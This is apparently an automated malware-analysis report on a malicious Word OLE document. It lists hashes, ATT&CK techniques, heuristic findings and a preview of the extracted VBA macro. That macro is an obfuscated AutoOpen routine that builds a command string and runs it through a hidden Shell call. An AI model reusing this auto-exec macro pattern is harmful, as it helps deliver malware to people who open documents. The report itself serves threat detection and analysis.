Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 993846759d53b104…

MALICIOUS

Office (OLE)

119.5 KB First seen: 2019-05-16
MD5: fdd928a950c89bd0e0f6a5deb7beff22 SHA-1: 5c2fa493310c22b42e25aaec2d3b2676dc67bf0a SHA-256: 993846759d53b104e7667c4de58d198126965856f30b52a61009790941988199
122 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious OLE document containing a VBA macro. The AutoOpen macro is designed to execute a shell command, likely to download and run a second-stage payload. The macro's obfuscated string concatenation is a common technique for malware.

Heuristics 5

  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 122,417 bytes but its declared streams total only 64,462 bytes — 57,955 bytes (47%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1025 bytes
SHA-256: 32752773db4a9ca9bb3ffeed0f749bc16c673971d123d616d85fbf35712e3412
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "jovqOBvRlNiVR"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On Error Resume Next
   MJjaaH = SrzLBh
   TwYpd = CInt(FjzBj / ZzUKNO * 22030 - hQFSJl)
   uSrnF = 6
wMYIzu = "" + MvMVUIGZN + RzzzQipROnucPw + CVar("cm") + CUhRviLXzwY + DHNLKdV + UIzWwNJL + uTAvWVmp + hQqafY + tSJJEbjfzB + izvaAvGAmP + SOFJuJaEO + ianZnrivkS + vZDKCH + wDMhH + EGjJhOqrk + lUMFX + YYjizjCt + OqCbYKOQaS + RYChw + aNDaSPHasQv + GqfXVKsnm + iWCddKj + SDVHwnicz + lflGdnRMqRY + wCVNHkNZT + YuNliTfZY + HtbXa + bHmVdV + iOOQT + VGQrzww + CKnZks + DdBvD + RqTQibQWN + JdUbOITBWT + iWYrkMLij + zajJrhOX + FEIGUiLKbR + lJHtrLSnmF + SnqSzzuQoU + KjGShTf + ltBbWwG + hlnMJDiBPLq + mdCuwmM + ZIchFfzzm + BhNIuiTAZHiYuw
   XtHEU = 311
   rGjsB = CBool(5)
Shell@ wMYIzu, 0
   aoLiA = Cos(4874)
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.